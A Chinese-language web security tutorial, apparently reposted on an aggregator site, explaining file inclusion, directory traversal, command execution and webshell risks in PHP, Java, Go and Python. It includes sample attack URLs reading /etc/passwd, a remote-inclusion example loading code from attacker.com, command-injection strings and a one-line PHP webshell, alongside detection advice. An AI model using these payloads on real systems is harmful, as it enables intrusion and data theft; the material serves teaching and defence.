当前位置: 首页 > news >正文

文件包含漏洞 不同语言危险函数导致的漏洞详解

目录

1. 什么是文件包含漏洞?

2. 文件包含漏洞如何利用?实际案例解析

案例 1:PHP 本地文件包含(LFI)

案例 2:PHP 远程文件包含(RFI)

案例 3:Java 目录遍历与文件包含

案例 4:Python 文件读取

3. 文件包含漏洞如何发现?

4. PHP、Java、Go、Python 的危险函数及利用方式

PHP 危险函数

Java 危险函数

Go 危险函数

Python 危险函数

5. 命令执行漏洞的危险函数

6. Webshell 执行的危险函数

7. 各种危险函数可能引发的漏洞及详细步骤

文件包含漏洞

命令执行漏洞

代码执行漏洞

目录遍历漏洞

8. 逻辑总结


1. 什么是文件包含漏洞?

文件包含漏洞(File Inclusion Vulnerability)发生在 Web 应用动态加载文件时,未能对用户输入进行充分验证,导致攻击者通过操控参数包含并执行恶意文件。文件包含漏洞分为两类:

  • 本地文件包含(LFI):包含服务器本地文件。

  • 远程文件包含(RFI):包含远程服务器上的文件。


2. 文件包含漏洞如何利用?实际案例解析

以下是文件包含漏洞的实际利用案例,涵盖不同场景和语言。

案例 1:PHP 本地文件包含(LFI)
  • 场景:一个 PHP 网站使用 include($_GET['page']) 动态加载页面。

  • 利用方法

    • 正常请求:http://example.com/?page=about.php

    • 攻击请求:http://example.com/?page=../../../../etc/passwd

    • 结果:服务器包含并显示 /etc/passwd,泄露系统用户信息。

  • 关键点:通过目录遍历(../),访问服务器根目录外的敏感文件。

案例 2:PHP 远程文件包含(RFI)
  • 场景:一个 PHP 网站允许通过参数加载外部文件,include($_GET['page']),且未禁用远程文件包含。

  • 利用方法

    • 攻击者上传恶意文件到自己的服务器:http://attacker.com/malicious.php(内容如 <?php system('whoami'); ?>)。

    • 攻击请求:http://example.com/?page=http://attacker.com/malicious.php

    • 结果:服务器下载并执行 malicious.php,输出当前用户身份。

  • 关键点:利用远程 URL 加载并执行恶意代码。

案例 3:Java 目录遍历与文件包含
  • 场景:一个 Java 应用使用 new File(request.getParameter("file")) 读取文件。

  • 利用方法

    • 正常请求:http://example.com/?file=images/logo.png

    • 攻击请求:http://example.com/?file=../../WEB-INF/web.xml

    • 结果:读取 web.xml,泄露 Web 应用的配置信息。

  • 关键点:利用路径遍历读取 Web 根目录外的敏感文件。

案例 4:Python 文件读取
  • 场景:一个 Python Flask 应用使用 open(request.args.get('file')).read() 读取文件。

  • 利用方法

    • 正常请求:http://example.com/?file=data.txt

    • 攻击请求:http://example.com/?file=/etc/passwd

    • 结果:返回 /etc/passwd 文件内容。

  • 关键点:直接使用用户输入作为文件路径,未进行过滤。


3. 文件包含漏洞如何发现?

发现文件包含漏洞需要结合代码审计和黑盒测试,具体方法如下:

  • 代码审计

    • 检查代码中是否使用了动态文件包含或读取函数。

    • 验证用户输入是否经过严格过滤(如白名单验证)。

  • 黑盒测试

    • 在 URL 或表单参数中尝试注入特殊路径,如 ../http://

    • 观察服务器响应:返回文件内容或异常错误可能表明存在漏洞。

  • 自动化工具

    • 使用 Burp Suite、OWASP ZAP 等工具扫描,检测文件包含行为。


4. PHP、Java、Go、Python 的危险函数及利用方式

以下列出各语言中与文件包含漏洞相关的危险函数,并说明其利用方法。

PHP 危险函数
  • 函数列表include()require()include_once()require_once()file_get_contents()fopen()

  • 利用方式

    • 代码示例include($_GET['file']);

    • 攻击方法:通过参数注入路径,如 ?file=../../../../etc/passwd(LFI)或 ?file=http://attacker.com/shell.php(RFI)。

    • 结果:读取敏感文件或执行远程代码。

Java 危险函数
  • 函数列表new File()FileInputStream()getResource()getResourceAsStream()

  • 利用方式

    • 代码示例new File(request.getParameter("file"))

    • 攻击方法:注入路径,如 ?file=../../WEB-INF/web.xml

    • 结果:读取服务器上的任意文件。

Go 危险函数
  • 函数列表os.Open()ioutil.ReadFile()http.ServeFile()

  • 利用方式

    • 代码示例os.Open(r.FormValue("file"))

    • 攻击方法:注入路径,如 ?file=/etc/passwd

    • 结果:读取敏感文件内容。

Python 危险函数
  • 函数列表open()file()os.system()(间接利用)

  • 利用方式

    • 代码示例open(request.args.get('file')).read()

    • 攻击方法:注入路径,如 ?file=/etc/passwd

    • 结果:返回任意文件内容。


5. 命令执行漏洞的危险函数

命令执行漏洞允许攻击者在服务器上执行系统命令,以下是常见语言的危险函数:

  • PHPsystem()exec()passthru()shell_exec()、``(反引号)

  • JavaRuntime.getRuntime().exec()ProcessBuilder

  • Goos/exec.Command()os.StartProcess()

  • Pythonos.system()subprocess.call()eval()exec()

  • 利用方式

    • 示例system($_GET['cmd']);

    • 攻击方法:注入命令,如 ?cmd=whoami?cmd=ls;cat /etc/passwd

    • 结果:执行系统命令并返回结果。


6. Webshell 执行的危险函数

Webshell 是一种恶意脚本,攻击者通过它执行命令。以下是常见语言中用于 Webshell 的危险函数:

  • PHPsystem()exec()passthru()shell_exec()eval()

  • JavaRuntime.getRuntime().exec()ProcessBuilder

  • Goos/exec.Command()

  • Pythonos.system()subprocess.call()eval()exec()

  • 利用方式

    • 示例:上传 Webshell <?php system($_GET['cmd']); ?>,访问 ?cmd=whoami

    • 结果:通过 Web 界面执行任意命令。


7. 各种危险函数可能引发的漏洞及详细步骤

以下是危险函数可能引发的漏洞类型及利用步骤。

文件包含漏洞
  • 危险函数include()(PHP)、new File()(Java)、os.Open()(Go)、open()(Python)

  • 可能漏洞

    • LFI:读取本地敏感文件。

    • RFI:执行远程恶意代码。

  • 利用步骤

    1. 确认代码中文件包含函数使用用户输入。

    2. 构造恶意路径(如 ../etc/passwdhttp://attacker.com/shell.php)。

    3. 发送请求,观察响应是否包含文件内容或执行代码。

命令执行漏洞
  • 危险函数system()(PHP)、Runtime.exec()(Java)、os/exec.Command()(Go)、os.system()(Python)

  • 可能漏洞:直接执行系统命令。

  • 利用步骤

    1. 发现命令执行函数使用用户输入。

    2. 注入恶意命令(如 ;whoami&& dir)。

    3. 检查响应,确认命令是否执行。

代码执行漏洞
  • 危险函数eval()(PHP、Python)、exec()(Python)

  • 可能漏洞:执行任意代码。

  • 利用步骤

    1. 确认 eval()exec() 使用用户输入。

    2. 注入恶意代码(如 ?code=system('whoami'))。

    3. 检查服务器是否执行注入的代码。

目录遍历漏洞
  • 危险函数new File()(Java)、os.Open()(Go)、open()(Python)

  • 可能漏洞:访问 Web 根目录外的文件。

  • 利用步骤

    1. 发现文件读取函数使用用户输入。

    2. 使用 ../ 构造路径(如 ../../config.php)。

    3. 检查响应是否返回敏感文件内容。


8. 逻辑总结

文件包含漏洞是 Web 安全中的高危漏洞,可能导致信息泄露、代码执行或服务器失控。

攻击者利用危险函数和未过滤的用户输入,通过 LFI、RFI 或目录遍历实现攻击。

发现漏洞需要结合代码审计和黑盒测试,而防御的关键是对用户输入进行严格验证(如使用白名单)。

相关文章:

  • 我想自己组装一台服务器,微调大模型通义千问2.5 Omni 72B,但是我是个人购买,资金非常有限,最省的方案
  • PriorityQueue(优先级队列)
  • 远程游戏软件需要具备的几个基础功能和要求
  • Mysql读写分离(2)-中间件mycat和实践方案
  • Python字典及操作
  • 继承-C++
  • spring security解析
  • LeetCode 热题 100_最长递增子序列(87_300_中等_C++)(动态规划)
  • 小甲鱼python【p5】
  • 第八节:React HooksReact 18+新特性-React Server Components (RSC) 工作原理
  • DISCO:利用大型语言模型提取反事实
  • React-router v7 第四章(路由传参)
  • 不关“猫”如何改变外网IP?3种免重启切换IP方案
  • Spring Boot JPA 开发之Not an entity血案
  • C++学习Day0:c++简介
  • MySQL SQL 执行顺序(理论顺序)
  • 若依微服务版启动小程序后端
  • 银河麒麟系统 达梦8 安装 dlask 框架后端环境
  • [图论]生成树 引言
  • Elasticsearch使用及常见的问题
  • 安徽省建设厅焊工证查询网站/品牌营销推广公司
  • 做网站百度一下/杭州排名优化公司
  • 湖北皇奥建设工程有限公司网站/百度指数可以用来干什么
  • 做展柜在哪些网站找客户/网页模板免费下载
  • 民政府公众信息网站建设/宝鸡seo优化公司
  • 做网站的费用是多少/东莞网站推广策划